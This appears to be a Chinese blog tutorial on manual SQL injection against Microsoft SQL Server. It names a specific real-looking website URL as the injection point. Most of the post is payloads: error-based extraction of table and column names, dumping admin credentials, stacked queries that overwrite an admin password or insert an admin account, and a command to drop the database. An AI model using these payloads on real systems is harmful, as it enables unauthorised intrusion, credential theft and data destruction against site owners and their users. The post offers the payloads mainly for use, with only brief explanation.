MSSQL暴表暴列

本文介绍了通过MSSQL注入漏洞获取数据库信息的方法,包括暴表、暴列、读取数据及修改、插入和删除数据等操作。同时提供了具体SQL语句示例,帮助读者理解MSSQL注入的工作原理。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

主题:MSSQL暴表暴列

 

内容:

 

手工是为了讲解原理,工具是为了方便。当然以下的语句并不绝对,还有好多种语句,有的暴不出。有的时候网站设置不同也暴不出。以下的语句大家有兴趣了可以去试一下,最好是把SQL精通了才能真正明白它们的意思,现在不需要记忆。这些只要会用工具就行。

 

注入点:http://www.ndcchina.com.cn/show_report.asp?id=231

 

and user>0  //得到数据库用户名

having 1=1--  //得到当前用户的数据信息,类似于aaa.bbb的格式,aaa是表名,bbb是列名。

 

group by 用户信息 having 1=1--  //继续得到一个列。

 

group by 信息1,信息2 having 1=1--  //继续

 

原理:在SQL语句中,having 1=1--是和group by结合使用并进行条件判断的,如果语句不完整,数据库就会返回错误信息,并显示一个表名一个列名。

 

暴出任意表名

 

and (select top 1 name from (select top 1 id,name from sysobjects where xtype=char(85)) T order by id desc)>1  //N代表数据库中的第几个表。

 

暴出表的的任意列。

 

and (select top 1 col_name(object_id('表名'),N)from sysobjects)>1  //N代表第几列。

 

暴出数据

 

and (select top 1 adminname from admin where id=1)>1  //N 代表第几条数据

 

修改数据

;update 表名 set 列名='内容' where 条件

;update admin set userpass='123456' where id=1

 

 

插入数据

;insert into 表名 values (内容)--

;insert into admin values (3800hk,123456)--

 

删除数据库

drop database 数据库名

 

获得数据库版本

and (select @@version)>0

 

获得当前数据库名

and db_name()>0

 

and user>0也可以用来判断权限,例如返回public说明是public权限

 

判断是否支持多句查询

;declare @a int--

 

判断是否支持子查询

and (select count(1) from [sysobjects])>=0

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值